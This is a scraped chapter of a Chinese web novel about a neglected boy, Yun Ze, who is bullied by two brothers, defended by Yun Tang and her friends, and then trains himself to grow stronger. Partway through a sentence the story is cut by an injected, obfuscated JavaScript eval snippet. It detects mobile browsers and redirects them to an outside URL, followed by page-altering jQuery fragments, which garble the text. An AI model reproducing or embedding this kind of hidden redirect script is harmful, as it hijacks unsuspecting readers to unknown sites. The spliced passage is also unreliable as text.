江梅这些年尝试着忘记痛苦,可每当她看到云泽的脸时,就会想到他的父亲。
当年她被哥哥逼着退学嫁人,她把那个男人当救命稻草跟着他私奔,而这个孩子也飞快地钻她肚子里。
怀孕后男人承诺等攒的钱再多一些,他们就结婚。他们也过过一段甜蜜日子,可是孩子两岁的时候,男人依旧没赚到什么钱,他说回他国家去找他父母要,结果就再也没出现过。
江梅自己养不了一个孩子,只能回家投奔母亲,却又被赶出来不准回家,被男人和家人都抛弃了,她精神就出现了问题。
她魔怔的认为男人迟早会回来接她,偶尔清醒时又恨极了男人的抛弃,她是个很极端的人,爱的时候特别爱,恨也是。
她看着云泽,即便如今不疯了,也会有掐死他的念头冒出来,她觉得继续和他相处下去,自己迟早也会再疯一次。
刘春华不敢让江梅和云泽独自待一个屋子太久,把人拉走后,又自己走进来,她看看那破书包,去拿了针线帮他缝起来。
她问:“是打架了还是被打?”
云泽:“打架。”
刘春华:“你别在外面惹事,我们家里没有人能给你出头,你看我一把年纪了,还能活几年都不知道。”
云泽只盯着她手中来回穿插的针。
“等我死了,就把你送别人,没人要就送福利院去。”刘春华并不看他,抱怨个不停,“你也别怪我,也别恨我女儿,她命不好,你跟着她的话她这辈子都好过不了。”
刘春华久久没得到回应,这才抬头看他一眼,云泽自始至终没有表情,更没什么恨不恨,真不像寻常孩子。
她又叹气,炸串摊子生意好,这两年手里终于有了些钱,她藏得死死的没有被儿子拿走,就想着死前给小女儿留点钱,再找个好人家把她嫁出去,她死后也能安心一点。
至于云泽,刘春华不知该怎么办,他对谁来说都是个累赘。
书包缝好了,米老鼠玩偶被填充了些破布进去,虽然外表还很可爱,但没了之前的柔软。
它恢复不到从前了。
云泽把它放进了衣柜里藏着,从此再也不背了。
顾池飞来学校后看着他总算不背那个娘们唧唧的书包后,舔舔缺了牙齿的地方,他居然被他打掉了一颗牙,简直太耻辱。
课堂上,老师拿出云泽破破烂烂的作业本,又看见他同样被小刀划过的课本,问他他怎么回事。
顾池飞心里一紧,给云泽一个“你敢告状就死定了”的眼神。
云泽只是平静的看着他。
老师顺着他目光看去:“好,老师知道了,老师这里还有一本新的课本,你上来拿去用吧,还有你,顾池飞!叫你家长明天来学校一趟!”
下课老师走后,顾池飞对云泽说:“今天放学有本事你别走。”他已经叫了自己哥哥来帮自己报仇。
云泽不是傻子,也没把他话放心上,一放学瞬间就溜了,比泥鳅还难捉。
一连几天,顾池飞哥哥顾池野都没能逮住人。
云棠不让他去一中找她,云泽也不想回家,他写完作业了一中都没还放学,他就去帮外婆洗菜串菜,等晚上推去老街夜市卖炸串。
老街街口有一座很高的教堂,里面开设有福利院收养了些孩子,福利院经济并不好,里面的孩子只能勉强吃饱,外婆经常说以后就把他送去那里。
但有时,外婆心情好又会给他零钱花。
云泽路过教堂时都会停留驻足一会,想着这里走到云家的距离。
顾池飞花了好些时间才摸透了云泽的放学踪迹,终于在一个阴天和哥哥逮住了他。
阴雨淅淅沥沥,单手撑伞不好骑车,云棠便和许半夏骑一辆车,她坐在后座上把伞举得高高的。
许半夏快骑到老街时忽然停了下来。
“怎么了?”云棠问。
“那好像是我们班的顾池野。”许半夏往一个方向看,她有些近视,只能大概看到一小孩被两兄弟围着。
云棠看过去,确实看到不远处那三人,她和同班的顾池野一句话都没说过,只在周强嘴里听说他那些恶劣事迹,听起来是个坏学生。
许半夏鄙夷道:“这小子连小学生都欺负啊。”
两人看了一会儿,才发现那个小学生是云泽。
顾池野高云泽一大截,像座山一样挡住他去路,揪着他衣领:“就是你个小兔崽欺负我弟弟,活腻了吧?”
他按住云泽,让顾池飞打他。
云泽清楚自己不是这兄弟两的对手,面上却没有丝毫惧色,在顾池飞巴掌要打下来时猝不及防地用头撞开他,又踹了顾池野的小腿肚一脚。
顾池野未料这小矮子力气这么大,几乎同时就将他甩到地面,气恼地踹了回去,正想补第二脚时,头皮一痛。
回头望去,女生一手撑着伞,一手用力的揪住他的头发往后拉,脸蛋都被气得发红了。
云棠生气骂道:“顾池野,你不准欺负人。”
顾池野知道她的名字,非常诧异居然会有女生不怕他,还敢拽他头发,不要命了?
“关你他\妈什么事。”顾池野气极反笑,用力捏住云棠手腕让她松手,看着她吃痛的表情,露出有些邪气的笑容,“我一般不打女生,快滚。”
他一把把云棠推到在地,浅色的裤子接触到湿漉漉的地面很快就脏了,云棠都顾不得疼忙爬起来。
云泽忽然像一条发疯的狗,睁开顾池飞的桎梏扑向顾池野拼命用额头大力撞他小腹。
简直跟练过铁头功一样,疼得顾池野闷哼,握紧拳头砸向他。云棠眼疾手快地把云泽到自己怀里,用手臂圈子,眼睛红红的,不知道是气得还是想哭,她鼓着腮帮子说:“你再动手我就要告诉老师去,我还会报警。”
但这些话也吓不到已经十三岁的顾池野,笑着骂了几句脏话,伸出手用力掐云棠脸蛋:“我好害怕啊。”
云棠痛死了,她从未和别人打过架,但和许半夏玩多了也不是被欺负就憋着的性子,本能一巴掌抽过去。
顾池野及时截住,眼睛写满不可置信,他挑眉:“这么勇敢,你真以为我不敢打你?”
眼见怀里的云泽又要暴动,云棠用力抱住他,正想说什么,许半夏骑着车回来,还带着乔祤乔天恩兄弟两,许半夏先前是觉得自己打不过那两兄弟,去跑喊就住在附近的表哥来帮忙。
她看到云棠脸蛋被掐红了一块,气得哇哇叫:“顾池野,你敢欺负小棠,哥哥,你快打死他!”
乔祤在她话还未说话时,就快步走过来,把云棠拉到身后。他如今初三,个子都窜一米八去了,一手就把矮他大半截的顾池野推开。
乔祤摆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407013|200567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出大哥哥姿态,沉声警告:“小子,放学了就回家去,少欺负女孩子。”
局面一下变成五对二,顾池野面色难看:“你又是谁,关你什么事?”
乔天恩也跳出来:“就关我们事。”
虽然他和云棠许半夏都玩不来,但云棠经常会给他丢些好吃的,他也不能白吃不是。
顾池野攥紧拳头,但乔祤按了一下他肩膀,他便知道自己来不了硬的,他破口大骂几句后,拉着顾池飞走了。
乔祤收回刚刚的凶色,看云棠发红的眼睛,皱眉问:“没事吧,小棠?”
云棠摇摇头:“谢谢你。”
乔祤:“怎么不叫哥哥了?”
云棠经常跟着许半夏喊她家那边的亲戚,但到底也不是她的哥哥,她如今也隐隐知道该要和男生保持些距离,做不到像许半夏那样和乔祤兄妹亲近,想了想说:“谢谢乔祤哥。”
乔祤笑着用手揉揉她脑袋:“天冷了,快回家去吧。”
云泽仰头盯着那只手,他从来没有这么摸过云棠的脑袋,他得站在板凳上才有她那么高。
乔天恩用胳膊碰碰他:“你小子怎么还在被欺负?”
乔天恩以前也觉得他好玩,欺负过他,但被哥哥教训过就没再发生过了。
云泽几乎快要把下唇咬出血来了,小脸说不出的恼怒和耻辱。
云棠擦干裤子上的泥水,但还是留下了印记,又淋了好久的小雨,和乔祤他们道别后,她着急回家换掉湿衣服。
许半夏在前头骑车,她和云泽在后面勉强能挤得下,
许半夏问:“小棠,你还疼吗?”
“还好。”云棠揉揉自己脸,苦恼地说,“好像把顾池野得罪了,他以后不会找我们麻烦吧?”
许半夏:“怕什么,有我保护你呢。”
云棠笑起来:“到时候我们挨打后还能一起抱头痛哭。”
“滚滚滚,我才不怕那个王八蛋。”
云泽沉默地听着她们两开玩笑,垂着眼,浓密的睫毛盖住他眼底深深的恨意。
自那之后,云泽往书包里塞了几块砖头,每天放学后背着它沿着去一中的道路跑步,趁云棠放学前又跑回去家去。
有时也会出现点错误,比如他还没跑回到家,云棠就的自行车就出现在道路上了,云泽躲到绿化带的树干后,看着她风一样远去的背影,会为她没发现自己而窃喜。
他想长得高大,长得强壮,他不要一直躲云棠身后被她保护。
他又想,外婆要是把他送人,是送去教堂那个福利院,还是送去更远的地方,是不是他跑得够快,多远也能跑得回来。
后来在练跑步的过程中,看到学术馆的教练周末会带着小学员沿着河边小道上晨跑,再到空地上教武术。
云泽好奇地悄悄跟过去,被发现了也不走,厚着脸皮看着教练一举一动,教练看他有兴趣,让他回去喊家人带他去武术馆报名。
云泽回家把自己放钱的鞋盒里翻出来,里面的钱少得可怜,他只能往书包又多装几块进去。
他每天都在跑,越跑脚步越轻盈,跑得短小的裤子再也不合身,露出一大截小腿来,他用尺子自己给自己量,看到身高数字后微微抿嘴,露出一个很浅的笑。
小小的孩子,童年里装满着沉甸甸的心事,最大的期望就是再长得高大一点。